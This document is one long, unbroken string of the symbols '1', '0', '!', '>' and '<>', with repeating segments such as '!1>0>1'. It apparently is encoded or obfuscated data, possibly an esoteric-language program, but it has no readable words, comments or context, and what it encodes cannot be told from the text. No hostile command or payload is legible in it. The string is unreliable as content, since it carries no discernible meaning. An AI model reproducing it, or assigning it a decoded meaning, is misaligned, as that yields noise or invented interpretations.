!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>01010111>01!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>01010111>01!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!101101010111>01!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>01010111>01!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>01010111>01!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1>0>1!1!1>0>10110>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!10110>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>01010111>01!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1>0>1!1!1>0>10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>01010111>01!1!1!<>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1>01010111>01!1!1!1!1!<>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1>01010111>01!1>0>1!1!1>0>1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!10110>1!1>0>10110>1!1!1>0>1!1!1!<>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!10110>1!1>0>10110>1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!<>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!<>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1>0>1!1!10110>1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!<>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1!1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>01010111>01!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>01010111>01!1!1!<>1!1!1!1>0>1>0>1!<>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!<>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!<>1!1!1!1>0>1>0>1!<>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!<>1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!<>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!<>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!1!<>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>01010111>01!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110